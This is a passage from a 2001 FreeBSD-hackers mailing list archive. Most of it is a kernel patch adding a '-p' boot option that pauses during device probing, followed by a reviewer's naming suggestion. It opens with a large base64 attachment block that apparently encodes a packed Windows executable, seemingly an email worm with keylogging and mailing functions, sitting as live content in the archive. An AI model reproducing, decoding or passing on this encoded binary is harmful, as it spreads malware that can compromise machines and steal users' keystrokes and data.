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 7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CL AoPCBIkHg8cEg+kEd/EBz+lM////Xon3udECAACKB0cs6DwBd/eAPwF18osHil8EZsHoCMHAEIbE KfiA6+gB8IkHg8cFidji2Y2+ACABAIsHCcB0RYtfBI2EMGRAAQAB81CDxwj/ltxAAQCVigdHCMB0 3In5eQcPtwdHUEe5V0jyrlX/luBAAQAJwHQHiQODwwTr2P+W5EABAGHp8gf//wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABAAAAWAAAgBgAAIAAAAAAAAAAAAAAAAAAAAEAbgAAADAAAIAAAAAAAAAA AAAAAAAAAAEAGQQAAEgAAABwEAEAABYAAAAAAAAAAAAABABLAEQATABMAAAAAAAAAAAAAAAAAAAA DFEBANxQAQAAAAAAAAAAAAAAAAAZUQEA7FABAAAAAAAAAAAAAAAAACZRAQD0UAEAAAAAAAAAAAAA AAAAMVEBAPxQAQAAAAAAAAAAAAAAAAA8UQEABFEBAAAAAAAAAAAAAAAAAAAAAAAAAAAASFEBAFZR AQBmUQEAAAAAAHRRAQAAAAAAglEBAAAAAACIUQEAAAAAAA8AAIAAAAAAS0VSTkVMMzIuRExMAEFE VkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1NPQ0szMi5kbGwAAABMb2FkTGlicmFy eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAcmFuZAAAU2V0 VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEylVPhKoVL+u09O/s3Mxf7LxMD8SLVN4E69U/7PIND4sk9H8DAy3/zIJdD+ySHS/s083/6DgWps lQozMvC2Q7WlX7JPQ7myX029s7a1TLVai2+GinedaFVCjWWDbI9rb4ZEUoeVbpqPd0tau3FyaJmO SJSBjGOVb05YqGlQj2ibZf5jgWpslQozKqyVdmX+Y5RsEK6UbGz+g04fyDHDxiWubopz/m2RkRCu lo9qbZGREKibb23+cZOLZYR3sJaPam2RkRCom29t/nGTi2WEd7CWj2ptkZEQqJtvbfykcZNr3mWP ddksnrdv3JaKed5h3muBamUh/nd3d/jisZzqAODOdQD4tHAA/r1wAPxicAD+b3AA/g0AAADgcADw WHAA/kVwAPw2cAD+KXAA+BxwAPz2cAD+GQAAAAAAAP4BAAAAAAAAAAAAAAAAAAD8QgAAAAAAAAAA /l/9D/3yCg== --====_ABC1234567890DEF_==== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 12:25:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gvr.gvr.org (gvr.gvr.org [212.61.40.17]) by hub.freebsd.org (Postfix) with ESMTP id AA51237B405 for ; Mon, 26 Nov 2001 12:25:47 -0800 (PST) Received: by gvr.gvr.org (Postfix, from userid 657) id C262C580A; Mon, 26 Nov 2001 21:25:45 +0100 (CET) Date: Mon, 26 Nov 2001 21:25:45 +0100 From: Guido van Rooij To: freebsd-hackers@freebsd.org Subject: review: single step thoruggh the probe messages Message-ID: <20011126212545.A13597@gvr.gvr.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="7AUc2qLy4jB3hD7Z" Content-Disposition: inline Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Attached some patches that add a -p functionality to the boot process. If booting with -p, every line printed during probing happens only after one presses a key. This was usefull to see the probe messages of a system that completely hung (read: no scroll-back functionslity left) after probing. -Guido --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=patch --- sbin/reboot/boot_i386.8.orig Mon Nov 26 16:13:29 2001 +++ sbin/reboot/boot_i386.8 Sun Nov 25 16:46:57 2001 @@ -220,6 +220,8 @@ and .Fl h options are automatically set. +.It Fl p +pause after each attached device during the device probing phase. .It Fl r use the statically configured default for the device containing the root file system --- sys/boot/i386/libi386/bootinfo.c.orig Mon Nov 26 16:13:16 2001 +++ sys/boot/i386/libi386/bootinfo.c Sat Nov 24 00:10:23 2001 @@ -97,6 +97,9 @@ case 'h': howto |= RB_SERIAL; break; + case 'p': + howto |= RB_PAUSE; + break; case 'r': howto |= RB_DFLTROOT; break; --- sys/sys/reboot.h.orig Mon Nov 26 16:13:05 2001 +++ sys/sys/reboot.h Sat Nov 24 00:08:11 2001 @@ -61,6 +61,7 @@ #define RB_GDB 0x8000 /* use GDB remote debugger instead of DDB */ #define RB_MUTE 0x10000 /* Come up with the console muted */ #define RB_SELFTEST 0x20000 /* don't boot to normal operation, do selftest */ +#define RB_PAUSE 0x40000 /* pause after each line during autoconfig */ #define RB_BOOTINFO 0x80000000 /* have `struct bootinfo *' arg */ --- sys/kern/tty_cons.c.orig Mon Nov 26 16:12:31 2001 +++ sys/kern/tty_cons.c Mon Nov 26 15:58:30 2001 @@ -98,6 +98,7 @@ static d_close_t *cn_phys_close; /* physical device close function */ static d_open_t *cn_phys_open; /* physical device open function */ struct consdev *cn_tab; /* physical console device info */ +static u_char cninit_notyetfinished=1; /* zero if we left autoconfigure */ CONS_DRIVER(cons, NULL, NULL, NULL, NULL, NULL, NULL, NULL); @@ -175,6 +176,7 @@ } cn_dev_t = cn_tab->cn_dev; cn_udev_t = dev2udev(cn_dev_t); + cninit_notyetfinished = 0; } static void @@ -443,6 +445,12 @@ if (c == '\n') (*cn_tab->cn_putc)(cn_tab->cn_dev, '\r'); (*cn_tab->cn_putc)(cn_tab->cn_dev, c); + if ((c == '\n') && (boothowto & RB_PAUSE) && + (cninit_notyetfinished)) { + printf("\r"); + (void)cngetc(); + printf(" \r"); + } } } --7AUc2qLy4jB3hD7Z-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 12:36: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail11.speakeasy.net (mail11.speakeasy.net [216.254.0.211]) by hub.freebsd.org (Postfix) with ESMTP id 65B1437B41A for ; Mon, 26 Nov 2001 12:36:03 -0800 (PST) Received: (qmail 28057 invoked from network); 26 Nov 2001 20:36:26 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 26 Nov 2001 20:36:26 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20011126212545.A13597@gvr.gvr.org> Date: Mon, 26 Nov 2001 12:36:01 -0800 (PST) From: John Baldwin To: Guido van Rooij Subject: RE: review: single step thoruggh the probe messages Cc: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 26-Nov-01 Guido van Rooij wrote: > Attached some patches that add a -p functionality to the boot process. > If booting with -p, every line printed during probing happens only > after one presses a key. > > This was usefull to see the probe messages of a system that completely > hung (read: no scroll-back functionslity left) after probing. I would call the variable name 'console_pausing' or some such, rather than cninit_notyetfinished to better explain what the variable does. > -Guido -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 12:44:27 2001 Delivered-To: 